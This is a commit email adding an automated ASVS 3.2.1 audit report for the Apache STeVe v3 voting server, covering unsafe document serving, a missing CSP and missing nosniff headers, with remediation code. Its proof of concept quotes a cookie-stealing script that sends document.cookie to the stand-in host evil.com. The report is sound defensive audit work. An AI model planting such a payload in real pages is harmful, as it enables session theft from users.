You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@tooling.apache.org by as...@apache.org on 2026/05/05 20:55:45 UTC
(tooling-agents) branch main updated: ASVS audit: 3.2.1.md (redacted) [source: apache/steve/v3 @ d0aa7e9]
This is an automated email from the ASF dual-hosted git repository.
asf-tooling pushed a commit to branch main
in repository https://gitbox.apache.org/repos/asf/tooling-agents.git
The following commit(s) were added to refs/heads/main by this push:
new 4bd5fa4 ASVS audit: 3.2.1.md (redacted) [source: apache/steve/v3 @ d0aa7e9]
4bd5fa4 is described below
commit 4bd5fa44e0197277df7e2f774277bbd8ce204b5e
Author: ASF Tooling Team <ro...@apache.org>
AuthorDate: Tue May 5 22:55:23 2026 +0200
ASVS audit: 3.2.1.md (redacted) [source: apache/steve/v3 @ d0aa7e9]
---
ASVS/reports/steve/v3/d0aa7e9/all/3.2.1.md | 212 +++++++++++++++++++++++++++++
1 file changed, 212 insertions(+)
diff --git a/ASVS/reports/steve/v3/d0aa7e9/all/3.2.1.md b/ASVS/reports/steve/v3/d0aa7e9/all/3.2.1.md
new file mode 100644
index 0000000..53d10a3
--- /dev/null
+++ b/ASVS/reports/steve/v3/d0aa7e9/all/3.2.1.md
@@ -0,0 +1,212 @@
+# Security Audit Report: ASVS 3.2.1
+
+## Executive Summary
+
+| Field | Value |
+|-------|-------|
+| **Repository** | apache/steve/v3 |
+| **Audit Date** | May 05, 2026 |
+| **Auditor** | Tooling Agents (bundled-pass mode) |
+| **ASVS Requirement** | ASVS 3.2.1 |
+| **Files Analyzed** | 10 relevant / 49 total |
+| **Files Skipped** | 12 |
+
+**Requirement description:** Verify that security controls are in place to prevent browsers from rendering content or functionality in HTTP responses in an incorrect context (e.g., when an API, a user-uploaded file or other resource is requested directly). Possible controls could include: not serving the content unless HTTP…
+
+### Findings Overview
+
+| Severity | Count |
+|----------|-------|
+| 🔴 Critical | 0 |
+| 🟠 High | 1 |
+| 🟡 Medium | 2 |
+| 🟢 Low | 0 |
+
+---
+
+## ASVS-3.2.1: Unintended Content Interpretation
+
+### Findings for 3.2.1
+
+### [HIGH]
+**Finding ID:** ASVS-321-HIGH-001
+
+**Title:** Document Serving Endpoint Lacks Content-Disposition and Sec-Fetch Validation
+
+**File:** `v3/server/pages.py`, function `serve_doc`, lines 560-574
+
+**Vulnerable code:**
+```python
+@APP.get('/docs/<iid>/<docname>')
+@asfquart.auth.require
+async def serve_doc(iid, docname):
+ result = await basic_info()
+ db = steve.election.Election.open_database(DB_FNAME)
+ row = db.q_get_mayvote.first_row(result.uid, iid)
+ if not row:
+ quart.abort(404)
+
+ ### verify the propriety of DOCNAME.
+
+ # Return per-issue document.
+ return await quart.send_from_directory(DOCSDIR / iid, docname)
+```
+
+**Data flow:** User request → `/docs/<iid>/<docname>` → `send_from_directory()` → browser renders file with server's origin context
+
+**Proof of concept:**
+An election administrator uploads an HTML document as supporting material:
+```
+GET /docs/issue123/malicious.html HTTP/1.1
+Cookie: session=VALID
+```
+If the uploaded file contains `<script>document.location='https://evil.com/steal?c='+document.cookie</script>`, the browser renders it in the application's origin, enabling cookie theft, CSRF bypass, or session hijacking of other voters who view the document.
+
+**Impact:** Any file uploaded as election documentation (linked via `doc:filename` in descriptions) is served without `Content-Disposition: attachment` or `Content-Type` restrictions. HTML/SVG/XML files will render in the browser within the application's origin, enabling stored XSS.
+
+**Remediation:**
+```python
+@APP.get('/docs/<iid>/<docname>')
+@asfquart.auth.require
+async def serve_doc(iid, docname):
+ result = await basic_info()
+ db = steve.election.Election.open_database(DB_FNAME)
+ row = db.q_get_mayvote.first_row(result.uid, iid)
+ if not row:
+ quart.abort(404)
+
+ # Validate Sec-Fetch-* headers for context
+ sec_fetch_dest = quart.request.headers.get('Sec-Fetch-Dest', '')
+ # Only allow document (direct navigation) - block embed/iframe/object
+ if sec_fetch_dest in ('embed', 'object', 'frame', 'iframe'):
+ quart.abort(403)
+
+ # Validate docname
+ if '..' in docname or '/' in docname:
+ quart.abort(400)
+
+ # Force download to prevent rendering in browser context
+ response = await quart.send_from_directory(DOCSDIR / iid, docname)
+ response.headers['Content-Disposition'] = f'attachment; filename="{docname}"'
+ response.headers['Content-Security-Policy'] = "default-src 'none'"
+ response.headers['X-Content-Type-Options'] = 'nosniff'
+ return response
+```
+
+---
+
+### [MEDIUM]
+**Finding ID:** ASVS-321-MED-001
+
+**Title:** No Content-Security-Policy Header on HTML Responses
+
+**File:** `v3/server/templates/header.ezt`, `v3/server/pages.py`
+
+**Vulnerable code (header.ezt):**
+```html
+<!DOCTYPE html>
+<html lang="en">
+<head>
+ <meta charset="UTF-8">
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
+ <!-- No CSP meta tag or header -->
+```
+
+**Data flow:** Server → HTTP response (no CSP header) → browser renders with no script/style restrictions
+
+**Impact:** Without CSP, if any XSS vector exists (such as the stored XSS via `rewrite_description()`), there are no browser-side mitigations. Inline scripts execute freely, and there's no restriction on resource loading origins.
+
+**Remediation:** Add CSP either via server middleware or meta tag:
+```html
+<meta http-equiv="Content-Security-Policy"
+ content="default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' https://www.apache.org">
+```
+Note: The inline `<script>` blocks in templates would need to be externalized or use nonces.
+
+---
+
+### [MEDIUM]
+**Finding ID:** ASVS-321-MED-002
+
+**Title:** Static File Serving Without X-Content-Type-Options
+
+**File:** `v3/server/pages.py`, function `serve_static`, line 577
+
+**Vulnerable code:**
+```python
+@APP.get('/static/<path:filename>')
+async def serve_static(filename):
+ return await quart.send_from_directory(STATICDIR, filename)
+```
+
+**Impact:** Without `X-Content-Type-Options: nosniff`, browsers may MIME-sniff file content and render it in an unintended context (e.g., a file with `.txt` extension but HTML content could be rendered as HTML).
+
+**Remediation:**
+```python
+@APP.get('/static/<path:filename>')
+async def serve_static(filename):
+ response = await quart.send_from_directory(STATICDIR, filename)
+ response.headers['X-Content-Type-Options'] = 'nosniff'
+ return response
+```
+
+### Security Controls Inventory for 3.2.1
+
+| Control | Location | Status |
+|---------|----------|--------|
+| Content-Disposition on file downloads | `serve_doc()` | ❌ MISSING |
+| Sec-Fetch-* validation | All endpoints | ❌ MISSING |
+| CSP header/meta | Not found | ❌ MISSING |
+| X-Content-Type-Options | Not found | ❌ MISSING |
+| Content-Type enforcement on uploads | Not found | ❌ MISSING |
+| CSP sandbox directive | Not found | ❌ MISSING |
+
+### Positive Patterns for 3.2.1
+
+- The `serve_doc()` endpoint does perform authorization via `q_get_mayvote`, ensuring only eligible voters can access documents (reduces attack surface).
+- The use of `quart.send_from_directory()` provides some protection against path traversal (though the comment `### verify the propriety of DOCNAME` indicates this hasn't been verified).
+
+---
+
+
+
+## Cross-cutting Architecture Observations
+
+1. **Defense-in-Depth Gap:** The application relies heavily on authentication (`@asfquart.auth.require`) as its primary security boundary but lacks multiple defense layers. There is no CSP, no CSRF validation, no rate limiting, and incomplete authorization — if authentication is bypassed, nearly all controls fail.
+
+2. **Type B Gaps (Control Exists but Not Applied):**
+ - CSRF token is generated (`basic.csrf_token = 'placeholder'`) and sent to templates, but NEVER validated server-side on any POST endpoint.
+ - The `[format "js,html"]` EZT escaping is used in `manage.ezt` for issue titles in onclick handlers but NOT used in `vote-on.ezt` for STV_CANDIDATES data.
+ - Authorization check comments (`### check authz`) exist at 8+ locations but authorization logic is never implemented.
+
+3. **Mixed Security Maturity:** The `vote-on.ezt` template demonstrates good practices (IIFE, escapeHtml, textContent) while other templates (`manage.ezt`, `manage-stv.ezt`) use global scope and raw HTML rendering. The `election.py` module has strong cryptographic vote protection while `pages.py` has fundamental web security gaps.
+
+4. **State-Changing GET Requests:** `/do-open/<eid>` and `/do-close/<eid>` use GET methods for state-changing operations. This violates HTTP semantics and makes CSRF trivially exploitable (no CSRF token needed for GET requests). The `manage.ezt` template triggers these via `window.location.href`, confirming this is by design.
+
+5. **Document Serving as Attack Vector:** The `serve_doc()` endpoint combined with `rewrite_description()` creating links to documents creates a complete attack chain: upload malicious HTML → link is auto-generated in issue description → voters click link → XSS in application origin.
+
+## Cross-cutting Recommendations
+
+### Immediate (Critical/High — deploy blockers)
+
+1. **Fix `rewrite_description()`** to HTML-escape description content before wrapping in `<pre>` tags (ASVS-322-HIGH-001).
+2. **Add `Content-Disposition: attachment`** to `serve_doc()` responses and validate `docname` for path traversal (ASVS-321-HIGH-001).
+3. **Implement CSRF validation** — the token infrastructure exists but is never verified. Add a decorator for POST endpoints that validates the token from the form/header matches the session value.
+4. **Add `[format "js"]` escaping** to all EZT values rendered inside JavaScript string literals in `vote-on.ezt` (ASVS-322-MED-002).
+
+### Short-term (1-2 sprints)
+
+5. **Implement CSP headers** — start with `Content-Security-Policy: default-src 'self'` and nonce-based script allowance. This mitigates multiple XSS vectors.
+6. **Configure session cookies** with `Secure`, `HttpOnly`, `SameSite=Lax`, and `__Host-` prefix (ASVS-331-HIGH-001).
+7. **Add rate limiting middleware** for vote submission and election creation endpoints (ASVS-242-HIGH-001).
+8. **Convert state-changing GET endpoints** (`/do-open/`, `/do-close/`) to POST with CSRF validation.
+9. **Wrap `manage.ezt` JavaScript** in IIFE with strict mode and add type checking on `getElementById` results (ASVS-323-MED-001).
+
+### Long-term (architectural improvements)
+
+10. **Implement authorization framework** — replace all `### check authz` placeholders with ownership/permission verification.
+11. **Create security documentation** per ASVS 3.1.1, specifying browser requirements and degradation behavior.
+12. **Migrate `steve.js`** global functions to a namespaced module object to prevent DOM clobbering.
+13. **Add X-Content-Type-Options: nosniff** globally via middleware for all responses.
+14. **Implement comprehensive anti-automation** including per-endpoint rate limits, minimum timing between sensitive operations, and account-level throttling.
+
\ No newline at end of file
---------------------------------------------------------------------
To unsubscribe, e-mail: commits-unsubscribe@tooling.apache.org
For additional commands, e-mail: commits-help@tooling.apache.org